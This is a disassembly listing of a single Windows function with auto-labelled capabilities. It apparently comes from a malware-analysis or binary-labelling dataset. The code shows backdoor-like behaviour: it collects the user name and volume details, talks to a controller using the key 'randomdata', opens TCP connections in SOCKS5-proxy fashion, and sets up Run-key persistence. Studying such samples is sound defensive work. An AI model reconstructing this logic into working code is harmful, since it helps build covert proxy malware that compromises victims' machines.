Function at 0x40134b
Capabilities:
Create tcp socket
Create thread
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff850
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00401c29
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x34], eax
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x688], eax
mov edi, dword [ebp - 0x34]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x364]
push eax
call fcn.0040206e
test eax, eax
je 0x4017a7
push 0x32
lea eax, [edi + 0x1c]
push eax
push str.randomdata
call fcn.00401ba2
mov word [edi + 0x4e], 1
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push str.randomdata
call fcn.0040183c
mov eax, dword [ebp - 0x34]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x364]
call fcn.00401a3c
cmp dword [ebp - 0x44], 4
je 0x4014de
push 0
push 0x3c
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x364]
call fcn.00401bef
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x4017a7
or eax, eax
jne 0x4014de
cmp dword [ebp - 0x40], 0
jne 0x4017a7
cmp dword [ebp - 0x44], 0
jne 0x4017a7
mov dword [ebp - 0x6a4], 1
inc dword [ebp - 0x7ac]
cmp dword [ebp - 0x7ac], 2
je 0x4017a7
mov dword [ebp - 0x7b0], 0
push 3
lea eax, [ebp - 0x7b0]
push eax
push 0x32
push str.randomdata
call fcn.0040183c
push dword [ebp - 0x688]
push 3
lea eax, [ebp - 0x7b0]
push eax
push dword [ebp - 0x364]
call fcn.00401a3c
jmp 0x401430
mov edi, dword [ebp - 0x34]
cmp dword [ebp - 0x40], 0
jne 0x4014f1
cmp dword [ebp - 0x44], 4
jne 0x401753
cmp word [edi + 2], 0
jne 0x401546
cmp byte [edi], 0xff
jne 0x401517
cmp byte [edi + 1], 0xfe
jne 0x401517
mov dword [ebp - 0x6a8], 1
jmp 0x4017a7
cmp byte [edi], 0
jne 0x401528
cmp byte [edi + 1], 0
jne 0x401528
nop
jmp 0x40174a
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x364], 0
je 0x401541
mov dword [ebp + ebx*4 - 0x364], 0
jmp 0x40174a
movzx ecx, word [edi + 2]
mov eax, dword [ebp - 0x40]
sub ecx, eax
push 0
push ecx
lea eax, [eax + edi + 4]
push eax
push dword [ebp - 0x364]
call fcn.00401ac3
test eax, eax
jle 0x4017a7
mov dword [ebp - 0x7ac], 0
add dword [ebp - 0x40], eax
mov ax, word [ebp - 0x40]
cmp ax, word [edi + 2]
jne 0x40174a
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push str.randomdata
call fcn.0040183c
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x401649
mov ebx, dword [ebp - 0x34]
movzx eax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00401fe4
cmp eax, 0x400
jle 0x40163b
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x34]
mov word [esi + 2], 4
push 3
lea eax, [esi + 1]
push eax
push 0x32
push str.randomdata
call fcn.0040183c
push 4
lea eax, [esi + 4]
push eax
push 0x32
push str.randomdata
call fcn.0040183c
push dword [ebp - 0x688]
push 7
lea eax, [esi + 1]
push eax
push dword [ebp - 0x364]
call fcn.00401a3c
push dword [ebp - 0x34]
call fcn.00402355
push 0
push 2
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push dword [ebp - 0x34]
call fcn.00401f2e
push 1
push 1
push 0
push dword [ebp - 0x34]
push 0x14
push 0
call fcn.00402399
lea eax, [ebp - 0x38]
push eax
call fcn.00402328
jmp 0x401743
cmp byte [edi], 0
jne 0x40172c
push 0x10000
push 0
call sub.kernel32.dll_LocalAlloc
test eax, eax
je 0x4017a7
mov esi, eax
push 0x180
push esi
push edi
call fcn.00401ba2
lea eax, [ebp - 0x684]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.00401ba2
lea eax, [ebp - 0x364]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
push 4
lea eax, [esi + 0x194]
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.00401ba2
cmp byte [esi + 7], 4
je 0x4016d5
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x4016e0
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [esi + 0x198], eax
mov dword [ebp + ebx*4 - 0x364], eax
mov dword [ebp - 0x68c], 1
push 4
lea eax, [ebp - 0x68c]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x364]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x401031
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x684], eax
jmp 0x401743
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x364]
call fcn.00401a3c
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
jmp 0x4017a2
mov eax, 4
sub eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
push 0
push eax
lea eax, [ecx + edi]
push eax
push dword [ebp - 0x364]
call fcn.00401ac3
test eax, eax
jle 0x4017a7
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 0x7ac], 0
add dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jne 0x4017a2
push 4
push dword [ebp - 0x34]
push 0x32
push str.randomdata
call fcn.0040183c
jmp 0x401430
push dword [ebp - 0x364]
call fcn.00401fc5
lea esi, [ebp - 0x364]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x4017bd
xor eax, eax
lea edi, [ebp - 0x684]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x4017c9
push dword [ebp - 0x688]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
push 0x8000
push 0
push dword [ebp - 0x34]
call sub.kernel32.dll_VirtualFree
cmp dword [ebp - 0x6a8], 1
jne 0x40182f
push 0
push 0
push 0
push 1
push str.socks5
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00402766
push 0
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebp - 0x6a4]
pop esi
pop edi
pop ebx
leave
ret 8